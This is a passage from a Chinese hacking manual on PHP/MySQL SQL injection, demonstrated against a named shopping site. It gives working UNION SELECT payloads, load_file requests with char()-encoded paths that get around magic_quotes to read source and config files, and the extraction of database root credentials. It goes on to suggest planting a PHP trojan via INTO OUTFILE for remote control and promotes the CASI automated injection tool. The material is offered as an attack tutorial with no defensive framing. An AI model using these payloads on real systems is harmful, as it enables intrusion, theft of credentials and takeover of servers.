2.8 构造PHP注入攻击
ASP注入攻击很普及了,但是相对而言,PHP注入攻击就没有那么普及了。这一节中我们将对PHP+MySQL注入攻击进行详细的介绍。
2.8.1 手工PHP注入
我们以“显卡团购”网站为例进行一次注入,找到注入点“http://go.dof.cn/eshop/php/Show.php? ID=6”,使用加单引号法在其后加上“' ”,返回信息为(图136):
Fatal error: Call to undefined function: numrows() in d:\loca lhost\virtualhost\go_dof_cn\eshop\php\show.php on line 37
从返回的出错信息中可以得知网站的物理路径“d:\localhost\virtualhost\go_dof_cn\eshop\php\show.php”。
再提交“and 1=1”,返回页面正常显示;再提交“and 1=2”,返回错误信息:“该商品暂时缺货.请原谅返回”(图136)。说明存在注入漏洞。
图136 返回信息
继续提交:“http://go.dof.cn/eshop/php/Show.php? ID=6 and 1=2 union select 1”,返回与图136相同的提示。
再提交“and 1=2 union select 1,2”,也是返回错误提示。
依次提交,当提交到“http://go.dof.cn/eshop/php/Show.php? ID=6 and 1=2 union select 1,2,3,4,5,6,7,8”时,出现了没有错误提示的页面(图137)。
图137 没有错误提示的页面
在页面中出现了Select后面的数字“2,4,5,7,8”,这些位置就是表示数据库中表字段出现的位置。从中可以推测
2,7,8为字符型数据,4,5为数字型数据。于是提交
“union select 1, USER(),3, VERSION(), SESSION_USER(),6, DATABASE(), CURRENT_USER()”,
返回结果如图138所示。
图138 返回结果
其中USER( )、CURRENT_USER( )、SESSION_USER( )分别表示当前用户名、连接数据库的用户;其中DATABASE( )表示当前数据库,VERSION( )表示当前操作系统版本。从图中可知当前操作系统为“Windows NT”,当前用户为“root”,数据库为“intershop”。
2.8.2 读取PHP配置文件
提交语句“ and 1=2 union select 1,2,3,4,5,6,7, load_file(d:\localhost\virtualhost\go_dof_cn\eshop\php\show.php)”,其中load_file( )函数是用来读取显示网站系统中某个文件的。
但是返回信息显示出错,这主要是因为服务器上的MYSQL数据库在配置时,设置了“magic_quotes_gpc=On”,所以提交的变量中的“' ”、“"”、“\”和空格字符等都会被自动转为含有反斜线的转义字符。所以指定的文件路径根本就不存在,从而返回了错误。
怎么才能正确返回读取的文件呢?可以将文件路径转化为ASCII码再进行提交。在这里“d:\localhost\virtualhost\go_dof_cn\eshop\php\show.php”转为成ASCII码后为:
char(100,58,92,108,111,99,97,108,104,111,115,116,92,118,105, 114,116,117,97,108,104,111,115,116,92,103,111,95,100,111,102, 95,99,110,92,101,115,104,111,112,92,112,104,112,92,115,104, 111,119,46,112,104,112)
所以提交如下语句:
and 1=2 union select 1,2,3,4,5,6,7, load_file(char(100,58,92, 108,111,99,97,108,104,111,115,116,92,118,105,114,116,117,97, 108,104,111,115,116,92,103,111,95,100,111,102,95,99,110,92, 101,115,104,111,112,92,112,104,112,92,115,104,111,119,46, 112,104,112))
返回信息如图139所示,页面中的字符串就是“show.php”文件内容。从返回的“show.php”文件中可以看到如下内容:
“require_once(' ./../../include/config.inc.php' ); //包含“配置 文件””;
从该处可以知道配置文件的物理路径为“d:\localhost\virtualhost\include\go_dof_cn\config.inc.php”。同样可将路径转换为ASCII码后进行提交:
“and 1=2 union select 1,2,3,4,5,6,7, load_file(char(100,58,92, 108,111,99,97,108,104,111,115,116,92,118,105,114,116,117,97, 108,104,111,115,116,92,103,111,95,100,111,102,95,99,110,92, 105,110,99,108,117,100,101,92,99,111,110,102,105,103,46,105, 110,99,46,112,104,112))”;
图139 返回信息
返回信息如图140所示,这就是配置文件“config.inc.php”中的内容。从配置文件中可以看到如下信息:
图140 返回信息
“//数据库信息 $dbhost="localhost" //数据库主机名 $dbuser="root" //数据库用户名 $dbpasswd="******" //数据库连接密码*******”
从中就可以看到连接数据库的用户名和密码了。如果服务器开放了远程SQL连接的话,就可以用SQL连接器连接上数据库,用得到的用户名和密码来登录。然后就可以进一步地使用insert语句将一个PHP木马代码写入表中,再用into outfile语句导出到Web目录下,就可对服务器进行远程控制了。具体的操作在此不做叙述,留待读者自行进一步深入学习。
在刚才的例子中,我们需要将字符串转换为ASCII码,可以用到这个注入格式转换器。运行程序后,在“字符”中输入文件路径,然后单击【转换】按钮,在下方的“ACS”中得到转换后的代码,单击【Copy】按钮将其复制到剪切板上(见图141)。
图141 注入格式转换器
2.8.3 CASI自动PHP注入
CASI是图形化的PHP注入工具,可以自动地报出用户字段名、密码字段名及其插入的位置。运行程序后,在“注射url”中输入注入点地址,在“判断字符”中输入“mysql_fetch_array”,单击【字段扫描】按钮即可开始进行扫描(图142)。扫描完毕后,在下方的浏览框中会显示注入点页面;并在“浏览器”组的“暴代码”中显示配置文件的路径,Load_file()的插入字段位置;在“暴密码”中显示用户名和密码字段,并显示其字段插入位置。按照上面介绍的手工注入的方法,就可以得到配置文件和用户名及密码等各种信息了。
此外,在CASI中还自带了一个SQL连接器,当得到SQL连接用户名和密码后,就可以用这个工具来连接,非常方便。
图142 CASI V 1.10正式版